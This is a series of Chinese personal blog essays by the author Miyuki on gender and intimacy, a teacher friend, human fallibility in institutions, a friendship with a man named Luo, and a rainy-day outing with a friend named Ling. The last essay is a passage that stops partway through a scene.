　　有女性参与的人际交往通常比只有男性参与的交往更加亲密、更有意义（Reis，1998）。男性对女性较为开放，女性彼此之间也较为开放，但男性不怎么对其他男性进行自我表露。这一切造成的重要后果是，男性常常依赖于从女性那里得到温情和亲密，反过来女性却较少依赖于男性（Wheeler et al.，1983）：女性可能与男女两性伙伴都有着亲密的、开放的和支持性的联系，而男性则可能只与女性共享最有意义的亲密情感。因而，男性一生中或许需要与女性交往来避免孤独，但在这方面女性通常并不需要男性。（《亲密关系》，第六版，人民邮电出版社，第 167-168 页）

　　这也符合我们日常生活中观察到的现象。这或许算男性的“缺陷”吧。

　　然而，现在舆论环境和性别一扯上关系，往往纠缠不清。

　　我们每个人交往的都是一个活生生的人，而非充斥着刻板印象的性别。这个基础上，性格和个体差异往往大于性别差异。

　　光整体表现为波粒二象性，但具体某一个光子运动时，科学家都很难说清楚下一秒究竟是波动性获胜还是粒子性占上风。

　　开朗外向，善于沟通，阳光热情，与性别整体上并无太大关联。

　　男性或许有着天生不擅长沟通和人际关系的缺点，但正如女性天生不擅长进攻与斗争一样，只是各自有着自己的长处和不足。

　　而至于男性们是否真是为了寻找“代替的满足感”才转向其他领域，我们保持沉默，因为并不清楚这是否是某位进化心理学者证据不足的诡辩与臆测。

　　如果下次有人使用性别诡辩术，或许你就该提高警惕了。

　　看到这里，请打消心目中的性别贵族念头吧。


　　南国微雪 Miyuki

　　2023 年 12 月 20 日

封面图

摄影师 | Pea

图源 | Unsplash

老师也是小孩子

写在前面

3260 字 | 朋友 | 经历 | 感触 | 友情 | 信任 | 生活

正文

　　这篇文章，说是人物传记，更偏向我通过欢透露出来的一些感想。

　　我和欢认识之后，产生的第一个想法，便是：相见的途径，很重要。

　　我们还没有见面之前，十天，便说了许多一两个月的朋友之间都可能不会聊的东西。说实话，那时候我有些忌讳，交浅言深终归不好。看她的反应也乐在其中，我便放开了。

　　那之后，我就在想，如果我们之间相识的途径，没有信任，那该是多么恐怖的一件事。

　　我认识一些朋友，他们交友途径甚是广泛：社团，聚会，健身房，Soul，游戏，酒吧，甚至酒店。我不好评判后面这些地方，说出来总有歧视链之嫌。我只是觉得：如果一开始，便从人性恶的一面相识，例如欺诈，胁迫，放情和纵欲，人与人之间的联系，还会紧密吗？

　　想着想着，这似乎带了一丝原罪。

　　我和欢通过一个朋友相识，梁说，欢和我很像，于是推给我。我信任梁，欢也信任梁——我们双方都聊到了这个事情，于是， 就算程度不深，我们第一天便已经相互信任。

　　所以，她在第七天的时候，让我十分震撼。

　　“我有个小小提议，我们还是正式地认识一下吧，我都不知道你的真名。”

　　欢在“暴露自己身份且不知道对方身份”的情况下，聊了这么多天，并且——语气平和，没有丝毫交涉甚至谈判的意味。

　　我一直以为她从朋友那里知道了我的名字。

　　得知这个消息的一瞬间，我觉得特别好笑，又特别心疼。这是一个极具勇气的女孩子。

　　同时，这大概也是，我所交往的第一个朋友：都步入社会参加工作，但是不产生利益纠葛的新朋友。以前的朋友，要么还在念研究生，要么参加工作但交往不深。


　　接下来，将视角交给她吧。

　　欢是老师。还是数学老师。我大为愕然，称选择数学的都是狠人。她说：“小学数学有什么难的……”

　　梁后来跟我说：“她毕竟是老师呀。”我哑然失笑。

　　欢认真起来的时候，还没见到她时，从聊天框里都能透露出她的职业病：成熟、端庄、稳重。后来见面，我曾要求她给我表演一下，她在学校里的样子。

　　国家一级演员。

　　表情骤然降温，眼神冰冷。动作缓慢但难以忤逆。声音温和但威严：“同学，请问有什么事呢？”

　　我当时笑得蹲在地上。 后面起身说，你还是回来吧，我不习惯，反差有点太大了。

　　随后她又换回那副没心没肺的样子，笑嘻嘻地说：“啊，跟朋友说话不用过脑子的感觉真好。”


　　我们更进一步的交流，就是在这次见面之后。

　　“优秀的人，都是不在市场上流通的。”这句话广为人知，在见到她后，我深以为然。欢是一个很有自己想法的人。

　　她知道自己想要的东西，定有自己的目标，也深知什么于她而言最重要，也了解自己的性格和特点。

　　“我的职业是老师，但内核是一个小孩子。”

　　这是让人印象最深的话。

　　她确实很孩子气：能和朋友们见面之后，在路上嗨到路人侧目，花两个小时蹲在路边，拍一些看起来就特别好笑的视频。那天我刷到她的朋友圈，五个人相互挤到一起，勾肩搭背转圈圈，脚步蹦蹦跳跳，看起来就很好笑。整段整段都洋溢着一股快乐的气氛。

　　“那天，你知道我们拍了多久吗？两个小时！”

　　我们第一次见面，她就把我拉到电玩城。

　　“嗨起来啊。”她笑着说。那时候我觉得拘谨的自己特别好笑。

　　除此之外，她有自己的梦想。当初我问她，参加工作自己赚钱了之后，有什么想要的东西，她支支吾吾说是“一件特别大的东西”。我觉得奇怪，大宗商品一般来说不就那么几个吗？能源、金属和农副产品之类。刚步入社会的年轻人，总不可能想着买石油吧……

　　几乎一瞬间，我便猜了出来。

　　她说：“有一间属于自己的房子，可以把自己的什么东西都堆在里面，不觉得很棒吗？”

　　这大概是成年人，最朴素的愿望了吧。

　　“我知道房子很花钱，所以我想攒钱，但是又攒不下来钱……”

　　这是自然。毕竟她前一秒给我说她很穷，下一秒转头就问前台要了 98 元兑 150 币的套餐。速度之快，令人为之咋舌。

　　不过对此她有自己的想法。

　　“工作了，自己赚钱就是应该为自己的快乐买单呀。人生就这么长，快乐那么短暂。”

　　我周围很多朋友，都是这种想法。或许这就是年轻一代的理念了吧。我说这挺好。我们在奶茶店零零碎碎聊了很多。

　　她说，她更适合单身，很清楚自己的想法。

　　欢已经步入了社会，同人一道体会了学生与社会人的巨大差异。她说工作很忙，很累，本来留与生活的时间就不多，如果谈恋爱还要和对方玩猜来猜去的游戏，就真的没什么意思了。

　　我笑说，我身边的朋友怎么都这么直啊。

　　她笑笑说，是啊，有什么事情直说不好吗。

　　我思来想去，跟她说，依你的个性，还是单身的好。她看起来有些落寞，又有些释然，说，可能吧。

　　我后来和梁聊起她的事情，梁在手机另一头哈哈大笑，说：“她和我说她有时候也想谈恋爱呢。”我看到笑出声：“那么有谁总是不想谈恋爱呢？”

　　甜甜的恋爱，大概是每个人都想要的吧。不说总是散发着魅力，总会有一两个瞬间，魅惑住人的心灵。梁自己都说，虽然自己有男朋友，偶尔看到那种特别甜的恋爱，也还是想体验一下。

　　聊到这些事情的时候，我们的会面已经快要结束了。我和她，一人一杯奶茶，边聊边朝着目的地进发。


　　我的视角里，欢是一个很优秀的人，也是一个很普通的人。

　　欢有着我身边的优秀朋友们所共有的特点：独立。不仅仅是生活独立，而且做事方式、思维模式和世界观都非常独立，他们有着自己的思考体系——有则改之无则加勉。这其实很难，三人成虎人云亦云之中，很容易迷失自我。

　　在她的陈述中，这是一件非常自然的事情。而她说，她身边的朋友们，似乎都总是这样。于是，在她眼中，优秀是一件非常自然而普通的事情。

　　“普通”至此，上升了一个高度。 或许我们也不曾想过，芸芸众生中，那些普通人，曾经也可能是一个优秀的人。

　　独立是一个优点，也有着非常显著的缺点：原子化。但对于她而言，这个缺点不足一道。和一群朋友在街上疯一天都能原子化，这个社会大概也即将崩溃了吧。

　　我平时总是秉持着，如果“我不开口，别人一定不会开口”的理念，总是自己主动比较多。这个想法在她这里完全失效了。我的自我表达程度本来就已经很高了，欢要更拔高一级。

　　她的絮絮闲言中，我想，能做到这种程度，肯定代表着信任吧。想到这里，觉得很开心。有些时候，只是听人聊天就已经很有趣了。

　　这次见面的事后总结中，我总认为自己的语言表达不够好，措辞和反应很糟糕。自己总是以写作式的深思熟虑评价自己的临场表现，担心给她带来不好的感觉。而这一切，在她那句话中烟消云散。

　　“今天我玩的很开心，不知道你感觉如何，下次见面你安排也可以呀。”

　　这种会予人反馈的朋友，是一种宝藏。


　　我们到达目的地，司机打来电话，让上车。我找不到地方。司机最后打电话打得大为光火，说让我找一个本地人，要不然打一天也找不到人。

　　我不是本地人，欢是。我哭笑不得，把电话递给她。

　　欢接过我的电话，跟司机说完，朝着另一个方向走。我跟在她身后，看着她。

　　步伐坚定，声音冷静。

　　看着这样的她，忽然觉得自己像是她的学生，像一个正在读小学的小孩子。

　　那一瞬间，觉得这个念头让人非常害羞，极度的难为情。 有一种被打回原形的感觉，一种脆弱的样子。明明都是同龄人，为什么她更有一种大人的感觉呢？

　　她总是说，她的内核是一个小孩子。但那个时候，她的背影显得那么可靠，让人不知道玩玩闹闹和冷静成熟，哪一个是属于她的幻觉。

　　大概都是，也都不是。


　　我坐上车，看着窗外飞速闪过的风景。

　　我们见面的这天下午，刚过完春节。明明是冬季，却阳光明媚，暖和得让人心情愉快。

　　我回头透过车窗看了她一眼。她正低头玩着手机，一边沿着街道走。

　　第一次在这么远的距离看她，我忽然想起她之前说的那句话，笑出声。

　　“要是我想谈恋爱的话，早就找到男朋友了。”

　　她确实有这个资本。

　　上高速时，夕阳渐沉。我想了想她乐天派的样子，不由自主地想起《小王子》。

　　「所有的大人最初都是小孩子，虽然只有少数人记得。」

　　这名老师记得很清楚。

　　我这么想着，夕阳的最后一束光映入眼帘，暖得耀眼。


　　南国微雪 Miyuki

　　2024 年 2 月 19 日

写在后面

　　部分语言为文学艺术加工，不与现实一致。

　　这人第一次玩《三国战记2》，竟然玩得比我好（吐血。她暴打夏侯惇，我被夏侯惇暴打。

　　“我可以发偷拍的照片吗？”

　　“啊？你偷拍的不都是背影吗？”

　　“正面照就不是偷拍了……”

引用及附注

所有图像与文字已征得本人授权，同意对外发布。

封面图

模特 | 二朵不长啊

摄影师 | 南国微雪

图源 | 生活

这世界是一个巨大的草台班子

写在前面

2823 字 | 暴言注意 | 思考 | 认知 | 世界 | 秩序 | 科学

正文

　　这是一篇关于“过程”与“结果”的讨论，也是一篇关于社会秩序的认知和猜想。这个社会是一个结果，而每个结果，其成因都十分复杂。我们不清楚这些现象背后到底有多少原因或本质，但我们确定一件事情：

　　这世界是一个巨大的草台班子，它并不如你我想象中那样秩序井然。

　　秩序井然，严丝合缝，只能是定律与真理。只要是人就会有过错，而且错误频率有可能远比我们想象中的要高。

　　有些东西我们能够预料：材料的寿命，人才的流动和培养等等。它们不能称为过错，而是一些结构性的、无法改变的损耗。将这些计划在内是我们应有的考虑。

　　然而，有时这一点，人们都做不到——大多数人期望任何事情，包括人们的行为都如同柏拉图的《理想国》那般，完美无缺。这在另一些事情上表现得尤为明显。

　　所有人都知道，有麻烦找警察，但我们没有想过警察其实有时候也想报警，然后就此撒手不管，因为有时候处理那些事情真的非常麻烦；我们印象中，法律极其威严，严格执行着公平与正义，是所有人的救世主，然而法院和检察院在涉及到权贵时也经常和稀泥，怕惹祸上身，拿制度当挡箭牌，无限延期；人们举报某些人，大多情况下都是忍无可忍，希望纪委监委或有关部门按职责严肃处理，以儆效尤，但人们一般不会考虑到那些执行公平正义的人们，也只是一群人，他们可能也不想上班。

　　为什么会产生这么大的偏差？

　　或许只是因为，我们潜意识里，把所有的职业都当成了一个事件处理机器，而并非是一个人。

　　我们坐公交车，目的只有一个：希望自己能够安全到达目的地。大多数时候，我们确实能够达到此目的。但少数情况，我们遇见司机绕路去接自己的孩子，或者帮别人带个什么东西，甚至只是简单去上个洗手间，我们都大为光火，心生厌烦。

　　这在医疗相关体系的表现上尤为明显。

　　医生诊断疾病时，需要有证据，但这些证据，患者往往并不关心——拔牙为什么需要查血？未免太麻烦了一点。这背后不仅仅是医院的创收目标，也还有凝血的考虑。如果患者并未告知凝血功能障碍（例如血友病和血小板减少症等等），后果不堪设想。

　　肚子疼是一千多种疾病发作的症状，明确发病器官才能进一步收缩疾病范围。但这些，患者并不关心。多数患者都希望医生“望闻问切”一番，然后马上开药，药到病除，每一个额外的（对医生来说是必要的）附加诊断环节，都是患者的负担（典型的便是医学影像）。毕竟我们来医院就是为了这个目的。

　　经过艰难的诊断，终于明确了疾病，接下来便是开药。例如阿托品八大作用，用于其中一个作用时其他七个作用便全是副反应。副反应只是不良反应其中的一种，而医生不仅仅需要考虑不良反应，还需要考虑药动学的首过消除、血药浓度、年龄所导致的代谢能力，药效学的配伍禁忌等等很多东西。

　　医学和药学已经尽全力减少副反应的发生。然而大多数患者希望能够服用一种靶向药，只治病，不影响其他生理活动——不想嗜睡、精力减退或是拉肚子而影响正常生活。

　　一说起来，道理很多时候我们都明白，但置身情景中时，却意识不到自身会做出如此的期望。

　　这还是最理想的情况——因为它建立在“我们所面见的人合格称职并且极为专业”的基础上。考试 60 分的人和考试 100 分的人，都叫医生。当然一次测试并不能代表什么，而这是另一个话题了。

　　我们理想中的医生，是 100 分，而现实中的所有医生，只能往下减分。

　　医学的每一个环节对患者来说都是一个 Black Box，这对任何学科其实都成立，但医学的专业壁垒尤为明显。这是好事，也是糟糕的事情。

　　上面只是一个现象，并不是本质。每个人的能力本就有差异。生活得越久，我们似乎越来越容易忘记： 并不是每个人都 Overqualified，任何东西都要学习 ，人天生其实是白板，什么也不懂。我们的教育在某些领域，确实成效不好——每个人似乎都会用打印机、会用刀叉吃牛排，也都知道怎样算税退税、计算专项附加扣除，更不用说似乎每个人都广泛了解交通规则一类的常识。 但实际上，有人已经被质问了无数次：“怎么不会开车？”

　　我们已经接受了从“事情能够得到完美处理”到“人的水平参差不齐”这样巨大的落差，然而后面还紧跟着“意外情况”和“主观意愿”。

　　希望得到处理的事情发生了，极为专业的人也到齐了。然而，他们可能会因为着急赶路，忘带了仪器，或者到场了才发现耗材不够。这些无关于他们的专业素养，是每个人都会发生的情况。世界上总有意外发生。

　　人们想到最少的就是“主观意愿”，但在这上面发生的例外却最多。

　　济南军区某装甲旅的一场红蓝实兵对抗演练，红军因嫌麻烦没有带平时没有用的自救木，结果陷入淤泥中无法自救导致全旅被歼。军事演练，条件到位；人民解放军，人员专业；陷入淤泥，正常情况，预案有准备；最后因为麻烦，一念灭门。

　　**人们要求真理与证明，于是要求证据，进而要求报告和程序。**然而，一份司法鉴定报告，我们无法保证它背后是否经过推杯换盏，甚至无法保证它是否经过程序。同理，我们无法保证我们接触的数据是否有“编撰”或是“传抄有误”一类的现象。

　　我们只能指望甚至只能祈祷，我们手上的这些资料确乎是“履职所得”。

　　“投资人的钱，不是钱。”“上市前的股票 10 元一股，上市后 80 元一股。”“太麻烦了，你直接代签吧。”“再去找他得跑一千多公里，你按自己的手印就可以了，不会出事的。”“我哪知道他天生缺 G6PD，概率太小了，溶血真的不怪我。”“上面要求三天之内把这个案子破了，平时的手段就不要用了。”“我很理解你，另外，作为心理治疗师，我听见你的这些话有些生气。”“你买错型号了，这型号厂里的机器根本上不上去。”……

　　这个世界是一个巨大的草台班子。世界并不如你我想象中那样秩序井然。归根究底，我们是人，不是处理程序，神圣的永远是人，而不是职业。成也人性，败也人性。

　　我们都生活在别人的过程里，而非仅仅存在于结果中。每一个人都容易对他人八分的判断，形成十分的依赖。但我们应该有警惕心，应该有“不那么完美”的思想准备。

　　这世界不仅有着“人力水平”、“意外情况”和“主观意愿”，还有事件本身的性质：如“不做即惩罚”的义务、“做了即惩罚”的法律、“不做不惩罚”的道德、“做了不惩罚”的尽职免责。

　　这个世界很复杂，我们所了解的事情只有一件：这个世界，确乎有着自身的秩序，但从来没有井然有序。

　　在这篇文章的最后，笔者最后暴言一句：连同笔者一起，每个人都是草台班子其中的一员，因为我们绝大多数人都不曾认真思考过。

　　我们不会思考，我们本身的思考方式是否有问题：横向发散还是纵向推进？有没有哪里没有考虑到？我是否还可以从这个点扩张开？

　　举例为之：我是否可以设计一个流程或程序减少当前的失误或重复工作量？这件事还有没有其他解决方案？自己的惯性使然真的是最好的选择吗？当前的困难是“刚穿衣服时必定感受到的冷”还是“直接跑到了南极所带来的冷”？我是否征求过别人的意见？这件事是不是有其他我没有考虑过的角度？……

　　这世界是一个巨大的草台班子，在这过家家般的游戏中，愿你我都能活成自己梦想中的样子。


　　南国微雪 Miyuki

　　2024 年 2 月 11 日

写在后面

　　医学内容是胡诌的， 如有错误，尽请斧正。

封面图

摄影师 | Mulyadi

图源 | Unsplash

八字手链人物传记计划——骆

写在前面

2306 字 | 朋友 | 感触 | 生活 | 经历 | 亲密关系

灵珍琴懿，骆旭泽予。

正文

　　骆是唯一一个，我现在还经常保持联系的男性朋友。

　　我很少在朋友家借宿，因为总有一种寄人篱下的感觉，让人不舒服。不过他除外。他的父母经常在外面打工，房子就他一个人住。我如果去城里玩儿，就经常会问他在不在。一般都是所有同学一起玩儿，但如果找不到人，我就会去他家。

　　夏天，很热。我轻车熟路摸到他家门口，猛敲。

　　“你来这么早啊……”门后蹭出一张睡眼惺忪的脸，光着膀子。我进门，聒噪无比的蝉鸣随即被关在门后。

　　“这都几点了，还在睡。”

　　“这么热，不睡觉干嘛，真的是。”

　　他家没有空调。

　　“来，吃个西瓜。”他从厨房不知道哪个地方摸出一个瓜，切成很多片。

　　“算了，我不喜欢吃水果。”

　　“快点儿，又不是招待你，不吃就要烂了，我又吃不完，这次你来顺便一起解决了。”他似乎颇不耐烦地挥挥手。

　　“真行啊你……”我一面无语，一面拿起西瓜开始吃。

　　他还请我吃了个桃子，我差点一口下去咬到一条蛋白质。他在旁边疯笑。

　　随后他斜在沙发上跟我一起胡吹海侃。这是我关于这个夏天，最后的美好回忆。

　　我们那天聊的东西，非常无关紧要。

　　他说，我来的那天恰好是最后一天。翌日，他便要去重庆找他女朋友。我问怎么这么远。他说，他们吵架，女朋友很黏他，想让他过去，但是他不想。说是有事要他帮忙，但多半没什么大事。我说感情挺好。他摆摆手。

　　我羡慕他还能玩，他羡慕我上班。

　　我们还聊一些诸如学校里的事、驾照、安排之类的话题，但我们聊天本就不多。聊烦了，就开始各自玩手机，或者给对方看一些好笑的视频。

　　随后，我们道别。 那个下午，就像几年前那样——肯定也会像几年后那样。


　　他也是我唯一一个，尝试去阐述更深想法的现实男性朋友。男生之间如此交流，总让人觉得奇怪，包括和他也一样，但，我和他毕竟这样交流过。

　　因为骆的关键词是：信任。

　　我忘记了我和他究竟说过了多少事情，说了多少想法。我只记得他一直都是那样，一副满不在乎的样子，似乎没有什么天大的事情。“别这样”、“一样的”、“无所谓”、“这有什么”，是他的口头禅。

　　骆是一个传统而典型的男孩子。我时常觉得这不好，又经常羡慕他们。他们把什么都看得很淡，似乎没什么重要的事。

　　有时候这很气人，因为你总觉得，对你很重要的事情他依然不在乎；有时候这又是一种拯救，因为在你觉得自己堕入深渊时，他总让你感觉事情还远没有那么糟糕。

　　平时和他说什么都行——我们的聊天永远不着边际。他也会给出合适的反应，尽管大多数时候平淡如水。不时瞪大眼睛的震撼表情，看起来很有意思。

　　“这样啊，理解理解。别出事啊。”

　　骆很喜欢玩游戏。

　　有时候他会猛然给我发一条消息，完全不管我当时在干什么：“要来玩游戏吗？”

　　大多饥荒，泰拉瑞亚一类。有时他也会和我说，博德之门有多好玩，老头环的世界树有多漂亮。

　　我很向往游戏里那些瑰丽的世界，但对于玩它们，总是不大能提起兴趣。大概因为自己太菜了吧。

　　骆总是兴趣盎然。而在这样的他面前，认为独自玩游戏是浪费时间的我，总是有些尴尬。我问过他介不介意这样，他只是笑了笑。

　　“又不是完全不玩儿。在意那么多干嘛。”

　　骆的很多朋友也是我的朋友。某一天，他的头像忽然换了。新头像是我拍的。我们不久之前小聚，我走在他们后面，一种强大的即视感油然而生。

　　“怎么想起换这个头像了？”

　　“好看呗。而且还挺有感觉的。”他回复道，“讲道理你可以去做一个摄影师，肯定很赚钱。”

　　隔着屏幕我都能想象到他朝我挤眉弄眼的表情。

　　我曾在他家借宿过很多晚上，冬天夏天都住过。他家里没有空调，也没有风扇，只买了一个小的手持风扇置于桌上，冬天则是一个燃气型暖炉。夏天热得人受不了，我们便四仰八叉地倒在沙发上睡。冬天又发生过四个人挤一张双人床的恐怖事件。


　　我永远都记得一两年前那个临近过年的夜晚。正是因为快过年，所以我们才有机会聚在一起。

　　我们吃完饭，冷手冷脚地跑去广场买烟花。

　　广场在县人民政府前，那些小贩和政府脸贴脸，但是没人管。或许山高皇帝远，也或许过年了默许了这样的事情发生。

　　他们买些“窜天猴”。引信一着，那炮仗便朝着天空狂奔，然后绽放；我只买了些电光花，看着手上的线性烟花映出他们的脸庞，然后发呆。仙女棒很快就燃尽了，骆和他们的脸又再度陷入黑暗。

　　他们又买了些火树银花。在那银色光芒中，看着他们的脸，我猛然觉得，我们都长大了。

　　时间就这样悄悄地溜走，把两个男孩遗弃为成年人。

　　冬天的城里总是冷的，却依然有街边小贩。骆在那里等着一碗炒河粉，同时跟我们碎碎地聊着什么。锅灶酱油和翻锅引起的阵阵香气，让那个夜晚变得璀璨无比。

　　我双瞳失焦，眼里慢慢地只有他们的人影。那一瞬间，我真诚地希望，要是时间能停在这一刻就好了。

　　我们是最幸福的。

　　回去他家，我们走小路。那条小路很偏，山路。路边有很多农户种的萝卜和小白菜。路上没有灯。

　　那晚的月亮很亮，地上投出浓浓的影子。没有灯也没关系，月亮足以代替。远远的房子深处，似乎隐隐约约还能传来狗叫声。

　　“你多久走啊？”

　　“大概一早走吧。”

　　“都住这儿了，明天不吃个午饭吗？”

　　“嗯……也行吧，反正明天也不急。”

　　那晚，迷迷糊糊睡去之际，仍然听到他们边玩游戏边笑骂对方的声音。

　　翌日醒来，骆睡眼惺忪。他一边笑骂昨晚睡觉谁又把他踹了，一边又问我们早上要吃什么。

　　那时，我心里想，他在我心里或许不止是一个朋友，也是一个符号。

　　一个相互支持、相互依赖的符号，象征着一群长大后的孩子们，那坚强的友谊。


　　写到这里，骆发来一条消息。

　　“你什么时候回来？”

　　“这次上班要上到除夕。”

　　“真惨。”

　　“我谢谢你。”

　　“过年玩儿游戏？”

　　“行。看我不揍你。”

　　“呦嗬，能耐了你？”

　　“嘿嘿。”


　　南国微雪 Miyuki

　　2024 年 2 月 6 日

写在后面

　　封面图为骆的头像。左起第二位为骆。

封面图

模特 | 石，骆，Lyrics，CBK

摄影师 | 南国微雪

图源 | 生活

赴约、幸运与感情

写在前面

5363 字 | 朋友 | 生活 | 情感 | 感触 | 思念 | 幸运 | 经历

未经允许，禁止转载。

愿灵小姐能够找到属于自己的快乐、宁静、和平与幸福。

Que notre amitié dure pour toujours.

正文

　　灵来找我，并没有千里迢迢。饶是如此，对于一个需要转车的旅程，交通也是十分麻烦的存在。

　　而这，仅仅是她假期回家，临时起意说要来我这玩的结果。

　　“我没开玩笑哦。”她这样说。

　　那之后，我知道了她对这件事，是认真的。


　　她来的时候，正是一个雨天。

　　雨淅淅沥沥地下，仿佛某人欢快又愁闷的心绪。她要来，自然是很开心，但雨天怎样安排，又成了一个难题。

　　那天很冷。撑着雨伞的手指，热量似乎一瞬间消失殆尽。我拿上围巾与手套，又折回去拿上针织帽，想着如果她下车没有这些，就塞给她。

　　那天我醒得很早。我的身体总是这样，重要的事情第二天总是提前自然醒来，而不那么重要的事情，时间悄悄溜走。

　　我在华莱士里等着她。透过玻璃窗，百无聊赖地向外望去。远方是雾气围绕的山林，近处是行迹匆匆的人群。雨落的声音和城市的喧嚣似乎全被关在了门外，门内只有器皿碰撞的声音，与独属于室内的温暖。

　　恍惚之间，一种强大的即视感。

　　小说中，似乎也总有一个这样的主人公，悠闲地坐在咖啡馆里，望着窗外。百无聊赖地等着某个人。香气从咖啡上袅袅升起。

　　什么时候，我也有这种小说般的生活了呢？

　　我这样笑着，又感到一阵困意，缓缓地趴在桌上。而后听到一阵提示音。慵懒地打开手机，看见三个字。

　　“我到了。”


　　看见她拍的照片，我刻意把伞压低，从台阶下走过。估计着到了她所在的位置，想着给她来一个惊喜，却没有看到她人。我四处张望着，猛然看见她站在不远的地方对着我笑，随后我听见她今天对我说的第一句话。

　　“我就这样看着你从我面前走过去。”

　　我们两个都笑。

　　“这不是想给你来个惊喜吗，结果走过了，人太笨了。”

　　熟悉的声音，熟悉的笑容，和熟悉的语气语调。不曾熟悉的，是她脸上的妆容。


　　我从未见过灵化妆后的模样。

　　很多次很多次，我们两人见面，都随性而恣意。她有一次脸上全是痘痘，我有一次，头发似乎像是惹了理发师生气，但两人都没有在意。

　　而这，是第一次。

　　她后来跟我说，以前她化妆，都是大学室友帮忙，自从本科毕业后，室友去了港中大，只能自力更生。

　　今天的妆容，是她自己动手化的。

　　或许对于化妆本身就有一丝好奇，也或许只是心绪敏感，第一眼见到她时，我便认了出来。

　　每每我们认真地讨论些什么，我们都会注视着对方，而那时，她的眼睛总是很显眼，很漂亮。

　　她的眼影很淡，我初看并未发现。我们第一次注视的瞬间，我蓦地发现，她的眼睑，一点一点闪着银色的光芒，在灯光下极力彰显自己的存在。

　　我很难形容那是怎样的印象。我曾在日记里描述她那双眼睛，说那“像是人间的落日与晚霞，又仿佛夜晚的星轨与银河”。

　　但我觉得仍然不够。

　　正因为我了解灵，知道她的经历，所以我觉得，那正是最能体现她性格的妆容。多一分太浓烈，少一分犹不足。

　　“金色与银色，你喜欢哪一种呀？”我曾这样问她。

　　她斩钉截铁地回答：“银色。”

　　银色从不与金色争抢。金色偏暖，招展。而银色偏冷，只是静静地散发自己的光芒。

　　灯光下，眼影所折射出的银色光芒，正是她足够温柔的证明。

　　温柔、冷静、坚强而独立。

　　灵的嘴唇上也涂了些什么，但我分不清。也没敢问。

　　这或许是我第一次为她动容吧。

　　这个小小旅程的晚些时候，我不止一次地当着她的面感慨说：“每次我们正经聊些什么的时候，都觉得你的眼睛好漂亮啊。”

　　她回答说：“哼，还挺会说的嘛。”

　　但是语气语调掩不住的笑意，鼻腔里的声音，满满的自鸣得意。


　　昨晚征求意见，选了两三个地方，她说想去古镇，我们便朝着那里出发。

　　打车。出租车师傅健谈。听说我们要在这样一个雨天，去那个著名的景点，觉得有些奇怪。我说，我身边的这个孩子只有今天能去，晚上就要走了。师傅一听，开始笑。随后开始聊些买车的话题，我听不懂。

　　我总觉有些讪讪。有些事情，虽然是事实，但总容易被人误解，也不能刻意去强调，否则容易变味。于是保持沉默和转移话题是最好的选择。

　　我的注意力从司机身上移回来，注视着她。

　　“看我干什么？”

　　“把手摊开。”

　　“干嘛？”

　　“难道我还能害你不成？”

　　灵老老实实照做了。

　　我将第一个许愿瓶放到她手心的瞬间，松了口气。

　　她拿起来端详了两秒，问了一句话，把我打得措手不及：“这是什么？”

　　我：……

　　“许愿瓶，这里还有一个。”

　　我拿出另一个，递到她的手心。

　　“里面的字条都写着不同的句子。本想叫你过年才能拆开看，想了想算了，但还是不许偷看，至少要等到你回去之后。”

　　她笑笑点点头。

　　反应很普通，但我也没有期望有多大的反应。因为在我们两人之间，送礼物大概是一件普通而平常的事情了。

　　我摇了摇瓶子，让她看里面的东西。

　　“这里面还有一条手链和一条项链。不强求你戴着它，仅仅把它们作为瓶子里的装饰也可以。”

　　她点点头，随即我转过头，看着车窗外雨划过玻璃的痕迹。

　　雾太大，看不清。司机也意外地有些安静。


　　古镇的梅花开得热烈而恣意。碎碎的花瓣随着雨滴铺在地面上，有一种凌乱而自然的美。

　　她拍照，而我悄悄地拍着她。

　　我总是羞于将镜头对准灵，因为总觉得那样她不太自然，并且自己也有一种奇怪的感觉。而灵似乎也不大愿意被我拍下正面。在这件事情上，我们竟达成了一种奇怪却默契的一致。

　　所以，本就不多的影像里，她的身姿，几乎全是背影。

　　就像我当初所想要追逐的那样——留给我一个背影，散发着坚定的光芒，让我情不自禁想要抬起手，追逐那道光。

　　古镇的炸鱼是一大特色。进门有卖。我忽而发现她手上有一只，正小口小口吃着。

　　“你什么时候搞到的？”

　　“就刚才啊，我说：‘我能尝一下吗？’，店家说：‘可以。’，然后就搞到了。”

　　“没付钱吗？”

　　“没有啊……”

　　我哑然失笑。

　　“怎么了？有什么问题吗？”她笑得很大声。

　　“没有没有。”


　　亚热带季风气候，冬季本应干燥少雨，但那天的雨却下个不停。

　　逛完古镇，我们在一家餐馆里稍作休息。

　　有时候我看着外面的雨发呆，有时和她有一搭没一搭地聊天。我问她现在还和多少人有联系，她说很少了。

　　“和懿都很少见面了。”她忽然说。

　　听到这个名字，我猛然一惊。心里全是苦涩。

　　我知道，懿是她的好朋友。别无他意。只是我太敏感。

　　懿是我内心深处最不为人知的秘密。

　　“欸……这样吗，”我有些不知道怎么接话，只是苦笑一声，“在我面前提起她，有点……”

　　她愣了愣，反应过来。笑了笑。

　　“你没加她吗？”

　　“没有啊……我本来是想加的，但是我们之间瓜葛这么多，想了想，还是没那个勇气。”

　　这是真话。

　　懿，在我心中，一直是一个执念。

　　“话说她现在也在读研吗？”

　　“没有吧，好像也上班了。”灵想了想。

　　“欸……竟然没有读研啊。”我有些诧异。

　　“在哪儿上班我忘了，”灵掏出手机，大概看了看朋友圈，“现在好像在宁波。”

　　“宁波啊……”我有些哭笑不得，“怎么都跑浙江去了……”

　　后面是令人不安的沉默，只有雨滴稀稀疏疏滴下的声音。那一瞬间，我在想，原来，提起懿，我还是会像当初那个自己一样，手足无措。

　　一点没有变啊。


　　这是我们逛完超市之后发生的事情。因为下雨，我们迅速调整了计划，朝着电玩城进发。

　　我不喜欢强迫别人，看灵三番五次不情愿，我还是有些心疼，很多次想要就此放弃。但灵的举止并没有特别特别抗拒，仍然坐在椅子上安静等着。我想应该没有那样厌恶，就仍然坚持了下去。

　　对她来说，这是一次全新的体验；对我来说，我希望能给她带来这种体验。

　　“玩过跳舞机吗？”我问她。

　　“没有。”她说。

　　我便这样决定了。

　　灵瞪大眼睛。

　　“嗯……咱们去抓娃娃好不好？”有个孩子一副央求的语气，眼巴巴地看着我。

　　“没事，我换的币多，跳完还有剩的可以抓，”有个恶魔低语，“来嘛来嘛。”

　　“真的不跳了嘛……不想跳这个……”

　　“试一下嘛，又不会少块肉。”

　　“欸……”

　　这三番五轮推来推去，最后听见某人委屈的声音，我都快要放弃了。

　　我看她乖巧地坐在等候椅上，便蹲下来仰视着她。

　　“是身体不舒服吗？”我问。

　　她迟疑了一下。

　　然后，重重地点了一下头。

　　“我信你个鬼。”我翻了个白眼。

　　她那一瞬间的迟疑实在太可疑了，我又不笨。

